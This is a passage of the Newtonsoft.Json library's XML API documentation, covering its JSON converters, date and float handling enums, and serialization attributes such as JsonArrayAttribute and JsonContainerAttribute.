name=\"M:Newtonsoft.Json.Converters.IsoDateTimeConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.JavaScriptDateTimeConverter\">\n            <summary>\n            Converts a <see cref=\"T:System.DateTime\"/> to and from a JavaScript <c>Date</c> constructor (e.g. <c>new Date(52231943)</c>).\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.JavaScriptDateTimeConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.JavaScriptDateTimeConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing property value of the JSON that is being converted.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.KeyValuePairConverter\">\n            <summary>\n            Converts a <see cref=\"T:System.Collections.Generic.KeyValuePair`2\"/> to and from JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.KeyValuePairConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.KeyValuePairConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.KeyValuePairConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.RegexConverter\">\n            <summary>\n            Converts a <see cref=\"T:System.Text.RegularExpressions.Regex\"/> to and from JSON and BSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.RegexConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.RegexConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.RegexConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.StringEnumConverter\">\n            <summary>\n            Converts an <see cref=\"T:System.Enum\"/> to and from its name string value.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.StringEnumConverter.CamelCaseText\">\n            <summary>\n            Gets or sets a value indicating whether the written enum text should be camel case.\n            The default value is <c>false</c>.\n            </summary>\n            <value><c>true</c> if the written enum text will be camel case; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.StringEnumConverter.NamingStrategy\">\n            <summary>\n            Gets or sets the naming strategy used to resolve how enum text is written.\n            </summary>\n            <value>The naming strategy used to resolve how enum text is written.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.StringEnumConverter.AllowIntegerValues\">\n            <summary>\n            Gets or sets a value indicating whether integer values are allowed when serializing and deserializing.\n            The default value is <c>true</c>.\n            </summary>\n            <value><c>true</c> if integers are allowed when serializing and deserializing; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Converters.StringEnumConverter\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.#ctor(System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Converters.StringEnumConverter\"/> class.\n            </summary>\n            <param name=\"camelCaseText\"><c>true</c> if the written enum text will be camel case; otherwise, <c>false</c>.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.#ctor(Newtonsoft.Json.Serialization.NamingStrategy,System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Converters.StringEnumConverter\"/> class.\n            </summary>\n            <param name=\"namingStrategy\">The naming strategy used to resolve how enum text is written.</param>\n            <param name=\"allowIntegerValues\"><c>true</c> if integers are allowed when serializing and deserializing; otherwise, <c>false</c>.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Converters.StringEnumConverter\"/> class.\n            </summary>\n            <param name=\"namingStrategyType\">The <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> used to write enum text.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.#ctor(System.Type,System.Object[])\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Converters.StringEnumConverter\"/> class.\n            </summary>\n            <param name=\"namingStrategyType\">The <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> used to write enum text.</param>\n            <param name=\"namingStrategyParameters\">\n            The parameter list to use when constructing the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> described by <paramref name=\"namingStrategyType\"/>.\n            If <c>null</c>, the default constructor is used.\n            When non-<c>null</c>, there must be a constructor defined in the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> that exactly matches the number,\n            order, and type of these parameters.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.#ctor(System.Type,System.Object[],System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Converters.StringEnumConverter\"/> class.\n            </summary>\n            <param name=\"namingStrategyType\">The <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> used to write enum text.</param>\n            <param name=\"namingStrategyParameters\">\n            The parameter list to use when constructing the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> described by <paramref name=\"namingStrategyType\"/>.\n            If <c>null</c>, the default constructor is used.\n            When non-<c>null</c>, there must be a constructor defined in the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> that exactly matches the number,\n            order, and type of these parameters.\n            </param>\n            <param name=\"allowIntegerValues\"><c>true</c> if integers are allowed when serializing and deserializing; otherwise, <c>false</c>.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            <c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.UnixDateTimeConverter\">\n            <summary>\n            Converts a <see cref=\"T:System.DateTime\"/> to and from Unix epoch time\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.UnixDateTimeConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.UnixDateTimeConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing property value of the JSON that is being converted.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.VersionConverter\">\n            <summary>\n            Converts a <see cref=\"T:System.Version\"/> to and from a string (e.g. <c>\"1.2.3.4\"</c>).\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.VersionConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.VersionConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing property value of the JSON that is being converted.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.VersionConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.XmlNodeConverter\">\n            <summary>\n            Converts XML to and from JSON.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.XmlNodeConverter.DeserializeRootElementName\">\n            <summary>\n            Gets or sets the name of the root element to insert when deserializing to XML if the JSON structure has produced multiple root elements.\n            </summary>\n            <value>The name of the deserialized root element.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.XmlNodeConverter.WriteArrayAttribute\">\n            <summary>\n            Gets or sets a value to indicate whether to write the Json.NET array attribute.\n            This attribute helps preserve arrays when converting the written XML back to JSON.\n            </summary>\n            <value><c>true</c> if the array attribute is written to the XML; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.XmlNodeConverter.OmitRootObject\">\n            <summary>\n            Gets or sets a value indicating whether to write the root JSON object.\n            </summary>\n            <value><c>true</c> if the JSON root object is omitted; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.XmlNodeConverter.EncodeSpecialCharacters\">\n            <summary>\n            Gets or sets a value indicating whether to encode special characters when converting JSON to XML.\n            If <c>true</c>, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify\n            XML namespaces, attributes or processing directives. Instead special characters are encoded and written\n            as part of the XML element name.\n            </summary>\n            <value><c>true</c> if special characters are encoded; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.XmlNodeConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.XmlNodeConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.XmlNodeConverter.IsNamespaceAttribute(System.String,System.String@)\">\n            <summary>\n            Checks if the <paramref name=\"attributeName\"/> is a namespace attribute.\n            </summary>\n            <param name=\"attributeName\">Attribute name to test.</param>\n            <param name=\"prefix\">The attribute name prefix if it has one, otherwise an empty string.</param>\n            <returns><c>true</c> if attribute name is for a namespace attribute, otherwise <c>false</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.XmlNodeConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified value type.\n            </summary>\n            <param name=\"valueType\">Type of the value.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified value type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.DateFormatHandling\">\n            <summary>\n            Specifies how dates are formatted when writing JSON text.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateFormatHandling.IsoDateFormat\">\n            <summary>\n            Dates are written in the ISO 8601 format, e.g. <c>\"2012-03-21T05:40Z\"</c>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateFormatHandling.MicrosoftDateFormat\">\n            <summary>\n            Dates are written in the Microsoft JSON format, e.g. <c>\"\\/Date(1198908717056)\\/\"</c>.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.DateParseHandling\">\n            <summary>\n            Specifies how date formatted strings, e.g. <c>\"\\/Date(1198908717056)\\/\"</c> and <c>\"2012-03-21T05:40Z\"</c>, are parsed when reading JSON text.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateParseHandling.None\">\n            <summary>\n            Date formatted strings are not parsed to a date type and are read as strings.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateParseHandling.DateTime\">\n            <summary>\n            Date formatted strings, e.g. <c>\"\\/Date(1198908717056)\\/\"</c> and <c>\"2012-03-21T05:40Z\"</c>, are parsed to <see cref=\"T:System.DateTime\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateParseHandling.DateTimeOffset\">\n            <summary>\n            Date formatted strings, e.g. <c>\"\\/Date(1198908717056)\\/\"</c> and <c>\"2012-03-21T05:40Z\"</c>, are parsed to <see cref=\"T:System.DateTimeOffset\"/>.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.DateTimeZoneHandling\">\n            <summary>\n            Specifies how to treat the time value when converting between string and <see cref=\"T:System.DateTime\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateTimeZoneHandling.Local\">\n            <summary>\n            Treat as local time. If the <see cref=\"T:System.DateTime\"/> object represents a Coordinated Universal Time (UTC), it is converted to the local time.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateTimeZoneHandling.Utc\">\n            <summary>\n            Treat as a UTC. If the <see cref=\"T:System.DateTime\"/> object represents a local time, it is converted to a UTC.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateTimeZoneHandling.Unspecified\">\n            <summary>\n            Treat as a local time if a <see cref=\"T:System.DateTime\"/> is being converted to a string.\n            If a string is being converted to <see cref=\"T:System.DateTime\"/>, convert to a local time if a time zone is specified.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateTimeZoneHandling.RoundtripKind\">\n            <summary>\n            Time zone information should be preserved when converting.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.DefaultJsonNameTable\">\n            <summary>\n            The default JSON name table implementation.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.DefaultJsonNameTable.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.DefaultJsonNameTable\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.DefaultJsonNameTable.Get(System.Char[],System.Int32,System.Int32)\">\n            <summary>\n            Gets a string containing the same characters as the specified range of characters in the given array.\n            </summary>\n            <param name=\"key\">The character array containing the name to find.</param>\n            <param name=\"start\">The zero-based index into the array specifying the first character of the name.</param>\n            <param name=\"length\">The number of characters in the name.</param>\n            <returns>A string containing the same characters as the specified range of characters in the given array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.DefaultJsonNameTable.Add(System.String)\">\n            <summary>\n            Adds the specified string into name table.\n            </summary>\n            <param name=\"key\">The string to add.</param>\n            <remarks>This method is not thread-safe.</remarks>\n            <returns>The resolved string.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.DefaultValueHandling\">\n            <summary>\n            Specifies default value handling options for the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\SerializationTests.cs\" region=\"ReducingSerializedJsonSizeDefaultValueHandlingObject\" title=\"DefaultValueHandling Class\" />\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\SerializationTests.cs\" region=\"ReducingSerializedJsonSizeDefaultValueHandlingExample\" title=\"DefaultValueHandling Ignore Example\" />\n            </example>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DefaultValueHandling.Include\">\n            <summary>\n            Include members where the member value is the same as the member's default value when serializing objects.\n            Included members are written to JSON. Has no effect when deserializing.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DefaultValueHandling.Ignore\">\n            <summary>\n            Ignore members where the member value is the same as the member's default value when serializing objects\n            so that it is not written to JSON.\n            This option will ignore all default values (e.g. <c>null</c> for objects and nullable types; <c>0</c> for integers,\n            decimals and floating point numbers; and <c>false</c> for booleans). The default value ignored can be changed by\n            placing the <see cref=\"T:System.ComponentModel.DefaultValueAttribute\"/> on the property.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DefaultValueHandling.Populate\">\n            <summary>\n            Members with a default value but no JSON will be set to their default value when deserializing.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DefaultValueHandling.IgnoreAndPopulate\">\n            <summary>\n            Ignore members where the member value is the same as the member's default value when serializing objects\n            and set members to their default value when deserializing.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.FloatFormatHandling\">\n            <summary>\n            Specifies float format handling options when writing special floating point numbers, e.g. <see cref=\"F:System.Double.NaN\"/>,\n            <see cref=\"F:System.Double.PositiveInfinity\"/> and <see cref=\"F:System.Double.NegativeInfinity\"/> with <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.FloatFormatHandling.String\">\n            <summary>\n            Write special floating point values as strings in JSON, e.g. <c>\"NaN\"</c>, <c>\"Infinity\"</c>, <c>\"-Infinity\"</c>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.FloatFormatHandling.Symbol\">\n            <summary>\n            Write special floating point values as symbols in JSON, e.g. <c>NaN</c>, <c>Infinity</c>, <c>-Infinity</c>.\n            Note that this will produce non-valid JSON.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.FloatFormatHandling.DefaultValue\">\n            <summary>\n            Write special floating point values as the property's default value in JSON, e.g. 0.0 for a <see cref=\"T:System.Double\"/> property, <c>null</c> for a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> property.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.FloatParseHandling\">\n            <summary>\n            Specifies how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.FloatParseHandling.Double\">\n            <summary>\n            Floating point numbers are parsed to <see cref=\"F:Newtonsoft.Json.FloatParseHandling.Double\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.FloatParseHandling.Decimal\">\n            <summary>\n            Floating point numbers are parsed to <see cref=\"F:Newtonsoft.Json.FloatParseHandling.Decimal\"/>.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Formatting\">\n            <summary>\n            Specifies formatting options for the <see cref=\"T:Newtonsoft.Json.JsonTextWriter\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Formatting.None\">\n            <summary>\n            No special formatting is applied. This is the default.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Formatting.Indented\">\n            <summary>\n            Causes child objects to be indented according to the <see cref=\"P:Newtonsoft.Json.JsonTextWriter.Indentation\"/> and <see cref=\"P:Newtonsoft.Json.JsonTextWriter.IndentChar\"/> settings.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.IArrayPool`1\">\n            <summary>\n            Provides an interface for using pooled arrays.\n            </summary>\n            <typeparam name=\"T\">The array type content.</typeparam>\n        </member>\n        <member name=\"M:Newtonsoft.Json.IArrayPool`1.Rent(System.Int32)\">\n            <summary>\n            Rent an array from the pool. This array must be returned when it is no longer needed.\n            </summary>\n            <param name=\"minimumLength\">The minimum required length of the array. The returned array may be longer.</param>\n            <returns>The rented array from the pool. This array must be returned when it is no longer needed.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.IArrayPool`1.Return(`0[])\">\n            <summary>\n            Return an array to the pool.\n            </summary>\n            <param name=\"array\">The array that is being returned.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.IJsonLineInfo\">\n            <summary>\n            Provides an interface to enable a class to return line and position information.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.IJsonLineInfo.HasLineInfo\">\n            <summary>\n            Gets a value indicating whether the class can return line information.\n            </summary>\n            <returns>\n            \t<c>true</c> if <see cref=\"P:Newtonsoft.Json.IJsonLineInfo.LineNumber\"/> and <see cref=\"P:Newtonsoft.Json.IJsonLineInfo.LinePosition\"/> can be provided; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.IJsonLineInfo.LineNumber\">\n            <summary>\n            Gets the current line number.\n            </summary>\n            <value>The current line number or 0 if no line information is available (for example, when <see cref=\"M:Newtonsoft.Json.IJsonLineInfo.HasLineInfo\"/> returns <c>false</c>).</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.IJsonLineInfo.LinePosition\">\n            <summary>\n            Gets the current line position.\n            </summary>\n            <value>The current line position or 0 if no line information is available (for example, when <see cref=\"M:Newtonsoft.Json.IJsonLineInfo.HasLineInfo\"/> returns <c>false</c>).</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonArrayAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> how to serialize the collection.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonArrayAttribute.AllowNullItems\">\n            <summary>\n            Gets or sets a value indicating whether null items are allowed in the collection.\n            </summary>\n            <value><c>true</c> if null items are allowed in the collection; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonArrayAttribute.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonArrayAttribute\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonArrayAttribute.#ctor(System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonObjectAttribute\"/> class with a flag indicating whether the array can contain null items.\n            </summary>\n            <param name=\"allowNullItems\">A flag indicating whether the array can contain null items.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonArrayAttribute.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonArrayAttribute\"/> class with the specified container Id.\n            </summary>\n            <param name=\"id\">The container Id.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonConstructorAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> to use the specified constructor when deserializing that object.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonContainerAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> how to serialize the object.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.Id\">\n            <summary>\n            Gets or sets the id.\n            </summary>\n            <value>The id.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.Title\">\n            <summary>\n            Gets or sets the title.\n            </summary>\n            <value>The title.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.Description\">\n            <summary>\n            Gets or sets the description.\n            </summary>\n            <value>The description.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.ItemConverterType\">\n            <summary>\n            Gets or sets the collection's items converter.\n            </summary>\n            <value>The collection's items converter.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.ItemConverterParameters\">\n            <summary>\n            The parameter list to use when constructing the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> described by <see cref=\"P:Newtonsoft.Json.JsonContainerAttribute.ItemConverterType\"/>.\n            If <c>null</c>, the default constructor is used.\n            When non-<c>null</c>, there must be a constructor defined in the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> that exactly matches the number,\n            order, and type of these parameters.\n            </summary>\n            <example>\n            <code>\n            [JsonContainer(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, \"Four\" })]\n            </code>\n            </example>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.NamingStrategyType\">\n            <summary>\n            Gets or sets the <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/>.\n            </summary>\n            <value>The <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.NamingStrategyParameters\">\n            <summary>\n            The parameter list to use when constructing the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> described by <see cref=\"P:Newtonsoft.Json.JsonContainerAttribute.NamingStrategyType\"/>.\n            If <c>null</c>, the default constructor is used.\n            When non-<c>null</c>, there must be a constructor defined in the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> that exactly matches the number,\n            order, and type of these parameters.\n            </summary>\n            <example>\n            <code>\n            [JsonContainer(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new 